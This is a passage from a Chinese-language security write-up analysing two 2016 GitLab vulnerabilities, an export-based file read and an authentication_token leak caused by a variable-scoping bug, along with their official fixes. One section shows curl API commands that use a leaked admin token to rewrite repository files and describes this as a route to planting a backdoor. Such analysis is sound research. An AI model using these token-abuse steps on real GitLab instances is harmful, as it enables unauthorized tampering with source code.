123456789101112131415161718192021222324module Projectsmodule ImportExportclass ExportService < BaseServicedef execute(_options = {})@shared = Gitlab::ImportExport::Shared.new(relative_path: File.join(project.path_with_namespace, 'work'))save_allendprivatedef save_allif [version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver].all?(&:save)Gitlab::ImportExport::Saver.save(project: project, shared: @shared)notify_successelsecleanup_and_notifyendenddef version_saver...endendend跳过之后的几个繁琐的调用之后,执行了
lib/gitlab/import_export/json_hash_builder.rb
中的create_model_value
函数。123456789101112131415161718192021# Constructs a new hash that will hold the configuration for that particular object# It may include exceptions or other attribute detail configuration, parsed by +@attributes_finder+## +current_key+ main model that will be a key in the hash# +value+ existing model to be included in the hash# +json_config_hash+ the original hash containing the root modeldef create_model_value(current_key, value, json_config_hash)parsed_hash = { include: value }parse_hash(value, parsed_hash)json_config_hash[current_key] = parsed_hashend# Calls attributes finder to parse the hash and add any attributes to it## +value+ existing model to be included in the hash# +parsed_hash+ the original hashdef parse_hash(value, parsed_hash)@attributes_finder.parse(value) do |hash|parsed_hash = { include: hash_or_merge(value, hash) }endend这里出现了逻辑问题,由于
parsed_hash
这个变量不是全局变量,所以create_model_value()
中执行parse_hash()
时,parse_hash()
中的parsed_hash
被改变,但是create_model_value()
函数中的parsed_hash
不会变,这就造成了parse_hash()
这个函数执行后create_model_value()
中parsed_hash
这个值并没有改变。因此最后导出的文件包含了authentication_token
。我们在
gitlab-rails console
里展示了这两者的区别。当value=user
的时候,parsed_hash={:include=>:user}
,输出的结果如同图中的user.as_json()
,会将所有内容输出,包括authentication_token
。当parsed_hash
为经过parse_hash()
处理后的{:include=>{:user=>{:only=>[:id, :email, :username]}}}
时,输出结果与user.as_json(only: [:id, :email, :username])
相同。后续RCE方式的探讨
在hackone的两个报告中,漏洞发现者都提到了
leads to RCE
,笔者尝试去实现这一点。由于GitLab
源码在gitlab.com
上,所以当获取了GitLab
的管理员权限后,我们可以通过authentication_token
修改GitLab
项目的源码,留下自己的后门。 为了重现这种情况,我们在本地新建一个新的项目去通过authentication_token
和GitLab api
来修改项目文件。用
root
账户创建一个项目:test_rce
,其中README.md
的内容为created by root
接下来,我们要用
gitlab
的api
来修改它。首先,根据projects的api
找到test_rce
项目对应的id
,这里是181curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects"我们再根据
api
读取一下文件1curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects/18/repository/files?file_path=README.md&ref=master"这里,
content
为Y3JlYXRlZCBieSByb290
,这是文件内容被base64
加密后的结果,解密一下就可以看到created by root
根据
api
的要求,我们通过PUT
数据来修改文件,将README.md
修改为change by notroot
。 当我们再读一次,content
内容为:Y2hhbmdlIGJ5IG5vdHJvb3Q=
,解码之后就是change by notroot
不得不说,笔者所实现的这种方式攻击时间跨度很长,能否执行命令取决于开发者下一次更新的时间,这也是这种方法的缺点之一。
0x02 官方修复分析
任意文件读取漏洞(CVE-2016-9086)修复分析
我们可以看到,官方先移除了导入包里的软连接,其次,读取
VERSION
的内容和project.json
的内容出错后将内容输出到日志里而非返回到前端。任意用户authentication_token泄露漏洞修复分析
官方让
json_config_hash[current_key]
获取到parse_hash()
处理后的值。0x03 参考
- https://www.seebug.org/vuldb/ssvid-92529
- https://www.seebug.org/vuldb/ssvid-92516
- https://hackerone.com/reports/178152
- https://hackerone.com/reports/158330
- https://github.com/gitlabhq/gitlabhq/commit/912e1ff4284eb39fe020b8e823085a2cb7f244fb
- https://github.com/gitlabhq/gitlabhq/commit/4389f09e668c043c8a347c4c63f06795110dfbb3#diff-b10a896b29121489e3b2fb396bc53d8a
- https://gitlab.com/gitlab-org/gitlab-ce/issues/20802
- https://gitlab.com/help/user/project/settings/import_export.md
- https://docs.gitlab.com/ce/api/
- 任意文件读取漏洞(CVE-2016-9086):